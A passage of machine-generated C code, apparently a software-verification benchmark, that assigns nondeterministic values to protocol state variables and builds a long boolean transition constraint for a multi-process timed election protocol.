_x_p19_saved_max = __VERIFIER_nondet_float();
_x_p0_l0 = __VERIFIER_nondet_bool();
_x_p0_l1 = __VERIFIER_nondet_bool();
_x_p0_x = __VERIFIER_nondet_float();
_x_p20_l0 = __VERIFIER_nondet_bool();
_x_p20_l1 = __VERIFIER_nondet_bool();
_x_p0_saved_max = __VERIFIER_nondet_float();
_x_p20_x = __VERIFIER_nondet_float();
_x_p20_saved_max = __VERIFIER_nondet_float();
_x_p1_l0 = __VERIFIER_nondet_bool();
_x_p1_l1 = __VERIFIER_nondet_bool();
_x_p1_x = __VERIFIER_nondet_float();
_x__J2835 = __VERIFIER_nondet_bool();
_x_p1_saved_max = __VERIFIER_nondet_float();
_x__J2829 = __VERIFIER_nondet_bool();
_x__J2823 = __VERIFIER_nondet_bool();
_x__J2817 = __VERIFIER_nondet_bool();
_x__EL_U_2790 = __VERIFIER_nondet_bool();
_x__EL_U_2792 = __VERIFIER_nondet_bool();
_x__EL_U_2795 = __VERIFIER_nondet_bool();
_x_p2_l0 = __VERIFIER_nondet_bool();
_x_p2_l1 = __VERIFIER_nondet_bool();
_x__EL_U_2797 = __VERIFIER_nondet_bool();
_x_p2_x = __VERIFIER_nondet_float();
_x_p2_saved_max = __VERIFIER_nondet_float();
_x_p3_l0 = __VERIFIER_nondet_bool();
_x_p3_l1 = __VERIFIER_nondet_bool();
_x_p3_x = __VERIFIER_nondet_float();
_x_p3_saved_max = __VERIFIER_nondet_float();
_x_p4_l0 = __VERIFIER_nondet_bool();
_x_p4_l1 = __VERIFIER_nondet_bool();
_x_p4_x = __VERIFIER_nondet_float();
_x_p4_saved_max = __VERIFIER_nondet_float();
_x_p5_l0 = __VERIFIER_nondet_bool();
_x_p5_l1 = __VERIFIER_nondet_bool();
_x_p5_x = __VERIFIER_nondet_float();
_x_p5_saved_max = __VERIFIER_nondet_float();
_x_p6_l0 = __VERIFIER_nondet_bool();
_x_p6_l1 = __VERIFIER_nondet_bool();
_x_p6_x = __VERIFIER_nondet_float();
_x_p6_saved_max = __VERIFIER_nondet_float();
_x_p7_l0 = __VERIFIER_nondet_bool();
_x_p7_l1 = __VERIFIER_nondet_bool();
_x_p7_x = __VERIFIER_nondet_float();
_x_p7_saved_max = __VERIFIER_nondet_float();
_x_p8_l0 = __VERIFIER_nondet_bool();
_x_p8_l1 = __VERIFIER_nondet_bool();
_x_p8_x = __VERIFIER_nondet_float();
_x_p8_saved_max = __VERIFIER_nondet_float();
__ok = (((((((((((((( !_x_p20_l0) && ( !_x_p20_l1)) || (_x_p20_l0 && ( !_x_p20_l1))) || ((_x_p20_l1 && ( !_x_p20_l0)) || (_x_p20_l0 && _x_p20_l1))) && ( !(_x_proposed20 <= 0.0))) && ((_x_p20_x <= _x_proposed20) || ( !(_x_p20_l1 && ( !_x_p20_l0))))) && (((((p20_l0 == _x_p20_l0) && (p20_l1 == _x_p20_l1)) && ((delta + (p20_x + (-1.0 * _x_p20_x))) == 0.0)) && ((p20_saved_max == _x_p20_saved_max) && (proposed20 == _x_proposed20))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (( !turn3) && (turn2 && (( !turn0) && ( !turn1)))))))))) && (((((_x_p20_l1 && ( !_x_p20_l0)) && (_x_p20_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed20 == _x_proposed20))) && (max_prop == _x_p20_saved_max)) || ( !((( !p20_l0) && ( !p20_l1)) && ((turn4 && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p20_saved_max) && (((_x_p20_l0 && ( !_x_p20_l1)) && (_x_p20_x == 0.0)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (( !_x_id0) && ( !_x_id1))))) && (proposed20 == _x_proposed20)))) || ( !((p20_l1 && ( !p20_l0)) && ((turn4 && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed20 == _x_proposed20)) && ((max_prop == _x_p20_saved_max) && (((( !_x_p20_l0) && ( !_x_p20_l1)) && (_x_p20_x == 0.0)) || ((_x_p20_l0 && _x_p20_l1) && (p20_x == _x_p20_x))))) || ( !((p20_l0 && ( !p20_l1)) && ((turn4 && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p20_saved_max) && (((( !_x_p20_l0) && ( !_x_p20_l1)) && (p20_x == _x_p20_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed20 <= _x_proposed20))))) || ( !((p20_l0 && p20_l1) && ((turn4 && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p19_l0) && ( !_x_p19_l1)) || (_x_p19_l0 && ( !_x_p19_l1))) || ((_x_p19_l1 && ( !_x_p19_l0)) || (_x_p19_l0 && _x_p19_l1))) && ( !(_x_proposed19 <= 0.0))) && ((_x_p19_x <= _x_proposed19) || ( !(_x_p19_l1 && ( !_x_p19_l0))))) && (((((p19_l0 == _x_p19_l0) && (p19_l1 == _x_p19_l1)) && ((delta + (p19_x + (-1.0 * _x_p19_x))) == 0.0)) && ((p19_saved_max == _x_p19_saved_max) && (proposed19 == _x_proposed19))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (( !turn3) && (( !turn2) && (turn0 && turn1))))))))) && (((((_x_p19_l1 && ( !_x_p19_l0)) && (_x_p19_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed19 == _x_proposed19))) && (max_prop == _x_p19_saved_max)) || ( !((( !p19_l0) && ( !p19_l1)) && ((turn4 && (( !turn3) && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p19_saved_max) && (((_x_p19_l0 && ( !_x_p19_l1)) && (_x_p19_x == 0.0)) && ((_x_id4 && (( !_x_id3) && (( !_x_id2) && (_x_id0 && _x_id1)))) && (proposed19 == _x_proposed19)))) || ( !((p19_l1 && ( !p19_l0)) && ((turn4 && (( !turn3) && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed19 == _x_proposed19)) && ((max_prop == _x_p19_saved_max) && (((( !_x_p19_l0) && ( !_x_p19_l1)) && (_x_p19_x == 0.0)) || ((_x_p19_l0 && _x_p19_l1) && (p19_x == _x_p19_x))))) || ( !((p19_l0 && ( !p19_l1)) && ((turn4 && (( !turn3) && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p19_saved_max) && (((( !_x_p19_l0) && ( !_x_p19_l1)) && (p19_x == _x_p19_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed19 <= _x_proposed19))))) || ( !((p19_l0 && p19_l1) && ((turn4 && (( !turn3) && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((((((((((( !_x_p18_l0) && ( !_x_p18_l1)) || (_x_p18_l0 && ( !_x_p18_l1))) || ((_x_p18_l1 && ( !_x_p18_l0)) || (_x_p18_l0 && _x_p18_l1))) && ( !(_x_proposed18 <= 0.0))) && ((_x_p18_x <= _x_proposed18) || ( !(_x_p18_l1 && ( !_x_p18_l0))))) && (((((p18_l0 == _x_p18_l0) && (p18_l1 == _x_p18_l1)) && ((delta + (p18_x + (-1.0 * _x_p18_x))) == 0.0)) && ((p18_saved_max == _x_p18_saved_max) && (proposed18 == _x_proposed18))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (( !turn3) && (( !turn2) && (turn1 && ( !turn0)))))))))) && (((((_x_p18_l1 && ( !_x_p18_l0)) && (_x_p18_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed18 == _x_proposed18))) && (max_prop == _x_p18_saved_max)) || ( !((( !p18_l0) && ( !p18_l1)) && ((turn4 && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p18_saved_max) && (((_x_p18_l0 && ( !_x_p18_l1)) && (_x_p18_x == 0.0)) && ((_x_id4 && (( !_x_id3) && (( !_x_id2) && (_x_id1 && ( !_x_id0))))) && (proposed18 == _x_proposed18)))) || ( !((p18_l1 && ( !p18_l0)) && ((turn4 && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed18 == _x_proposed18)) && ((max_prop == _x_p18_saved_max) && (((( !_x_p18_l0) && ( !_x_p18_l1)) && (_x_p18_x == 0.0)) || ((_x_p18_l0 && _x_p18_l1) && (p18_x == _x_p18_x))))) || ( !((p18_l0 && ( !p18_l1)) && ((turn4 && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p18_saved_max) && (((( !_x_p18_l0) && ( !_x_p18_l1)) && (p18_x == _x_p18_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed18 <= _x_proposed18))))) || ( !((p18_l0 && p18_l1) && ((turn4 && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((((((((((( !_x_p17_l0) && ( !_x_p17_l1)) || (_x_p17_l0 && ( !_x_p17_l1))) || ((_x_p17_l1 && ( !_x_p17_l0)) || (_x_p17_l0 && _x_p17_l1))) && ( !(_x_proposed17 <= 0.0))) && ((_x_p17_x <= _x_proposed17) || ( !(_x_p17_l1 && ( !_x_p17_l0))))) && (((((p17_l0 == _x_p17_l0) && (p17_l1 == _x_p17_l1)) && ((delta + (p17_x + (-1.0 * _x_p17_x))) == 0.0)) && ((p17_saved_max == _x_p17_saved_max) && (proposed17 == _x_proposed17))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (( !turn3) && (( !turn2) && (turn0 && ( !turn1)))))))))) && (((((_x_p17_l1 && ( !_x_p17_l0)) && (_x_p17_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed17 == _x_proposed17))) && (max_prop == _x_p17_saved_max)) || ( !((( !p17_l0) && ( !p17_l1)) && ((turn4 && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p17_saved_max) && (((_x_p17_l0 && ( !_x_p17_l1)) && (_x_p17_x == 0.0)) && ((_x_id4 && (( !_x_id3) && (( !_x_id2) && (_x_id0 && ( !_x_id1))))) && (proposed17 == _x_proposed17)))) || ( !((p17_l1 && ( !p17_l0)) && ((turn4 && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed17 == _x_proposed17)) && ((max_prop == _x_p17_saved_max) && (((( !_x_p17_l0) && ( !_x_p17_l1)) && (_x_p17_x == 0.0)) || ((_x_p17_l0 && _x_p17_l1) && (p17_x == _x_p17_x))))) || ( !((p17_l0 && ( !p17_l1)) && ((turn4 && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p17_saved_max) && (((( !_x_p17_l0) && ( !_x_p17_l1)) && (p17_x == _x_p17_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed17 <= _x_proposed17))))) || ( !((p17_l0 && p17_l1) && ((turn4 && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p16_l0) && ( !_x_p16_l1)) || (_x_p16_l0 && ( !_x_p16_l1))) || ((_x_p16_l1 && ( !_x_p16_l0)) || (_x_p16_l0 && _x_p16_l1))) && ( !(_x_proposed16 <= 0.0))) && ((_x_p16_x <= _x_proposed16) || ( !(_x_p16_l1 && ( !_x_p16_l0))))) && (((((p16_l0 == _x_p16_l0) && (p16_l1 == _x_p16_l1)) && ((delta + (p16_x + (-1.0 * _x_p16_x))) == 0.0)) && ((p16_saved_max == _x_p16_saved_max) && (proposed16 == _x_proposed16))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1)))))))))) && (((((_x_p16_l1 && ( !_x_p16_l0)) && (_x_p16_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed16 == _x_proposed16))) && (max_prop == _x_p16_saved_max)) || ( !((( !p16_l0) && ( !p16_l1)) && ((turn4 && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p16_saved_max) && (((_x_p16_l0 && ( !_x_p16_l1)) && (_x_p16_x == 0.0)) && ((_x_id4 && (( !_x_id3) && (( !_x_id2) && (( !_x_id0) && ( !_x_id1))))) && (proposed16 == _x_proposed16)))) || ( !((p16_l1 && ( !p16_l0)) && ((turn4 && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed16 == _x_proposed16)) && ((max_prop == _x_p16_saved_max) && (((( !_x_p16_l0) && ( !_x_p16_l1)) && (_x_p16_x == 0.0)) || ((_x_p16_l0 && _x_p16_l1) && (p16_x == _x_p16_x))))) || ( !((p16_l0 && ( !p16_l1)) && ((turn4 && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p16_saved_max) && (((( !_x_p16_l0) && ( !_x_p16_l1)) && (p16_x == _x_p16_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed16 <= _x_proposed16))))) || ( !((p16_l0 && p16_l1) && ((turn4 && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p15_l0) && ( !_x_p15_l1)) || (_x_p15_l0 && ( !_x_p15_l1))) || ((_x_p15_l1 && ( !_x_p15_l0)) || (_x_p15_l0 && _x_p15_l1))) && ( !(_x_proposed15 <= 0.0))) && ((_x_p15_x <= _x_proposed15) || ( !(_x_p15_l1 && ( !_x_p15_l0))))) && (((((p15_l0 == _x_p15_l0) && (p15_l1 == _x_p15_l1)) && ((delta + (p15_x + (-1.0 * _x_p15_x))) == 0.0)) && ((p15_saved_max == _x_p15_saved_max) && (proposed15 == _x_proposed15))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (turn3 && (turn2 && (turn0 && turn1))))))))) && (((((_x_p15_l1 && ( !_x_p15_l0)) && (_x_p15_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed15 == _x_proposed15))) && (max_prop == _x_p15_saved_max)) || ( !((( !p15_l0) && ( !p15_l1)) && ((( !turn4) && (turn3 && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p15_saved_max) && (((_x_p15_l0 && ( !_x_p15_l1)) && (_x_p15_x == 0.0)) && ((( !_x_id4) && (_x_id3 && (_x_id2 && (_x_id0 && _x_id1)))) && (proposed15 == _x_proposed15)))) || ( !((p15_l1 && ( !p15_l0)) && ((( !turn4) && (turn3 && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed15 == _x_proposed15)) && ((max_prop == _x_p15_saved_max) && (((( !_x_p15_l0) && ( !_x_p15_l1)) && (_x_p15_x == 0.0)) || ((_x_p15_l0 && _x_p15_l1) && (p15_x == _x_p15_x))))) || ( !((p15_l0 && ( !p15_l1)) && ((( !turn4) && (turn3 && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p15_saved_max) && (((( !_x_p15_l0) && ( !_x_p15_l1)) && (p15_x == _x_p15_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed15 <= _x_proposed15))))) || ( !((p15_l0 && p15_l1) && ((( !turn4) && (turn3 && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && (((((((((((( !_x_p14_l0) && ( !_x_p14_l1)) || (_x_p14_l0 && ( !_x_p14_l1))) || ((_x_p14_l1 && ( !_x_p14_l0)) || (_x_p14_l0 && _x_p14_l1))) && ( !(_x_proposed14 <= 0.0))) && ((_x_p14_x <= _x_proposed14) || ( !(_x_p14_l1 && ( !_x_p14_l0))))) && (((((p14_l0 == _x_p14_l0) && (p14_l1 == _x_p14_l1)) && ((delta + (p14_x + (-1.0 * _x_p14_x))) == 0.0)) && ((p14_saved_max == _x_p14_saved_max) && (proposed14 == _x_proposed14))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (turn3 && (turn2 && (turn1 && ( !turn0)))))))))) && (((((_x_p14_l1 && ( !_x_p14_l0)) && (_x_p14_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed14 == _x_proposed14))) && (max_prop == _x_p14_saved_max)) || ( !((( !p14_l0) && ( !p14_l1)) && ((( !turn4) && (turn3 && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p14_saved_max) && (((_x_p14_l0 && ( !_x_p14_l1)) && (_x_p14_x == 0.0)) && ((( !_x_id4) && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && (proposed14 == _x_proposed14)))) || ( !((p14_l1 && ( !p14_l0)) && ((( !turn4) && (turn3 && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed14 == _x_proposed14)) && ((max_prop == _x_p14_saved_max) && (((( !_x_p14_l0) && ( !_x_p14_l1)) && (_x_p14_x == 0.0)) || ((_x_p14_l0 && _x_p14_l1) && (p14_x == _x_p14_x))))) || ( !((p14_l0 && ( !p14_l1)) && ((( !turn4) && (turn3 && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p14_saved_max) && (((( !_x_p14_l0) && ( !_x_p14_l1)) && (p14_x == _x_p14_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed14 <= _x_proposed14))))) || ( !((p14_l0 && p14_l1) && ((( !turn4) && (turn3 && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((((((((((( !_x_p13_l0) && ( !_x_p13_l1)) || (_x_p13_l0 && ( !_x_p13_l1))) || ((_x_p13_l1 && ( !_x_p13_l0)) || (_x_p13_l0 && _x_p13_l1))) && ( !(_x_proposed13 <= 0.0))) && ((_x_p13_x <= _x_proposed13) || ( !(_x_p13_l1 && ( !_x_p13_l0))))) && (((((p13_l0 == _x_p13_l0) && (p13_l1 == _x_p13_l1)) && ((delta + (p13_x + (-1.0 * _x_p13_x))) == 0.0)) && ((p13_saved_max == _x_p13_saved_max) && (proposed13 == _x_proposed13))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (turn3 && (turn2 && (turn0 && ( !turn1)))))))))) && (((((_x_p13_l1 && ( !_x_p13_l0)) && (_x_p13_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed13 == _x_proposed13))) && (max_prop == _x_p13_saved_max)) || ( !((( !p13_l0) && ( !p13_l1)) && ((( !turn4) && (turn3 && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p13_saved_max) && (((_x_p13_l0 && ( !_x_p13_l1)) && (_x_p13_x == 0.0)) && ((( !_x_id4) && (_x_id3 && (_x_id2 && (_x_id0 && ( !_x_id1))))) && (proposed13 == _x_proposed13)))) || ( !((p13_l1 && ( !p13_l0)) && ((( !turn4) && (turn3 && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed13 == _x_proposed13)) && ((max_prop == _x_p13_saved_max) && (((( !_x_p13_l0) && ( !_x_p13_l1)) && (_x_p13_x == 0.0)) || ((_x_p13_l0 && _x_p13_l1) && (p13_x == _x_p13_x))))) || ( !((p13_l0 && ( !p13_l1)) && ((( !turn4) && (turn3 && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p13_saved_max) && (((( !_x_p13_l0) && ( !_x_p13_l1)) && (p13_x == _x_p13_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed13 <= _x_proposed13))))) || ( !((p13_l0 && p13_l1) && ((( !turn4) && (turn3 && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p12_l0) && ( !_x_p12_l1)) || (_x_p12_l0 && ( !_x_p12_l1))) || ((_x_p12_l1 && ( !_x_p12_l0)) || (_x_p12_l0 && _x_p12_l1))) && ( !(_x_proposed12 <= 0.0))) && ((_x_p12_x <= _x_proposed12) || ( !(_x_p12_l1 && ( !_x_p12_l0))))) && (((((p12_l0 == _x_p12_l0) && (p12_l1 == _x_p12_l1)) && ((delta + (p12_x + (-1.0 * _x_p12_x))) == 0.0)) && ((p12_saved_max == _x_p12_saved_max) && (proposed12 == _x_proposed12))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (turn3 && (turn2 && (( !turn0) && ( !turn1)))))))))) && (((((_x_p12_l1 && ( !_x_p12_l0)) && (_x_p12_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed12 == _x_proposed12))) && (max_prop == _x_p12_saved_max)) || ( !((( !p12_l0) && ( !p12_l1)) && ((( !turn4) && (turn3 && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p12_saved_max) && (((_x_p12_l0 && ( !_x_p12_l1)) && (_x_p12_x == 0.0)) && ((( !_x_id4) && (_x_id3 && (_x_id2 && (( !_x_id0) && ( !_x_id1))))) && (proposed12 == _x_proposed12)))) || ( !((p12_l1 && ( !p12_l0)) && ((( !turn4) && (turn3 && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed12 == _x_proposed12)) && ((max_prop == _x_p12_saved_max) && (((( !_x_p12_l0) && ( !_x_p12_l1)) && (_x_p12_x == 0.0)) || ((_x_p12_l0 && _x_p12_l1) && (p12_x == _x_p12_x))))) || ( !((p12_l0 && ( !p12_l1)) && ((( !turn4) && (turn3 && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p12_saved_max) && (((( !_x_p12_l0) && ( !_x_p12_l1)) && (p12_x == _x_p12_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed12 <= _x_proposed12))))) || ( !((p12_l0 && p12_l1) && ((( !turn4) && (turn3 && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p11_l0) && ( !_x_p11_l1)) || (_x_p11_l0 && ( !_x_p11_l1))) || ((_x_p11_l1 && ( !_x_p11_l0)) || (_x_p11_l0 && _x_p11_l1))) && ( !(_x_proposed11 <= 0.0))) && ((_x_p11_x <= _x_proposed11) || ( !(_x_p11_l1 && ( !_x_p11_l0))))) && (((((p11_l0 == _x_p11_l0) && (p11_l1 == _x_p11_l1)) && ((delta + (p11_x + (-1.0 * _x_p11_x))) == 0.0)) && ((p11_saved_max == _x_p11_saved_max) && (proposed11 == _x_proposed11))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (turn3 && (( !turn2) && (turn0 && turn1))))))))) && (((((_x_p11_l1 && ( !_x_p11_l0)) && (_x_p11_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed11 == _x_proposed11))) && (max_prop == _x_p11_saved_max)) || ( !((( !p11_l0) && ( !p11_l1)) && ((( !turn4) && (turn3 && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p11_saved_max) && (((_x_p11_l0 && ( !_x_p11_l1)) && (_x_p11_x == 0.0)) && ((( !_x_id4) && (_x_id3 && (( !_x_id2) && (_x_id0 && _x_id1)))) && (proposed11 == _x_proposed11)))) || ( !((p11_l1 && ( !p11_l0)) && ((( !turn4) && (turn3 && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed11 == _x_proposed11)) && ((max_prop == _x_p11_saved_max) && (((( !_x_p11_l0) && ( !_x_p11_l1)) && (_x_p11_x == 0.0)) || ((_x_p11_l0 && _x_p11_l1) && (p11_x == _x_p11_x))))) || ( !((p11_l0 && ( !p11_l1)) && ((( !turn4) && (turn3 && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p11_saved_max) && (((( !_x_p11_l0) && ( !_x_p11_l1)) && (p11_x == _x_p11_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed11 <= _x_proposed11))))) || ( !((p11_l0 && p11_l1) && ((( !turn4) && (turn3 && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((((((((((( !_x_p10_l0) && ( !_x_p10_l1)) || (_x_p10_l0 && ( !_x_p10_l1))) || ((_x_p10_l1 && ( !_x_p10_l0)) || (_x_p10_l0 && _x_p10_l1))) && ( !(_x_proposed10 <= 0.0))) && ((_x_p10_x <= _x_proposed10) || ( !(_x_p10_l1 && ( !_x_p10_l0))))) && (((((p10_l0 == _x_p10_l0) && (p10_l1 == _x_p10_l1)) && ((delta + (p10_x + (-1.0 * _x_p10_x))) == 0.0)) && ((p10_saved_max == _x_p10_saved_max) && (proposed10 == _x_proposed10))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (turn3 && (( !turn2) && (turn1 && ( !turn0)))))))))) && (((((_x_p10_l1 && ( !_x_p10_l0)) && (_x_p10_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed10 == _x_proposed10))) && (max_prop == _x_p10_saved_max)) || ( !((( !p10_l0) && ( !p10_l1)) && ((( !turn4) && (turn3 && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p10_saved_max) && (((_x_p10_l0 && ( !_x_p10_l1)) && (_x_p10_x == 0.0)) && ((( !_x_id4) && (_x_id3 && (( !_x_id2) && (_x_id1 && ( !_x_id0))))) && (proposed10 == _x_proposed10)))) || ( !((p10_l1 && ( !p10_l0)) && ((( !turn4) && (turn3 && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed10 == _x_proposed10)) && ((max_prop == _x_p10_saved_max) && (((( !_x_p10_l0) && ( !_x_p10_l1)) && (_x_p10_x == 0.0)) || ((_x_p10_l0 && _x_p10_l1) && (p10_x == _x_p10_x))))) || ( !((p10_l0 && ( !p10_l1)) && ((( !turn4) && (turn3 && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p10_saved_max) && (((( !_x_p10_l0) && ( !_x_p10_l1)) && (p10_x == _x_p10_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed10 <= _x_proposed10))))) || ( !((p10_l0 && p10_l1) && ((( !turn4) && (turn3 && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((((((((((( !_x_p9_l0) && ( !_x_p9_l1)) || (_x_p9_l0 && ( !_x_p9_l1))) || ((_x_p9_l1 && ( !_x_p9_l0)) || (_x_p9_l0 && _x_p9_l1))) && ( !(_x_proposed9 <= 0.0))) && ((_x_p9_x <= _x_proposed9) || ( !(_x_p9_l1 && ( !_x_p9_l0))))) && (((((p9_l0 == _x_p9_l0) && (p9_l1 == _x_p9_l1)) && ((delta + (p9_x 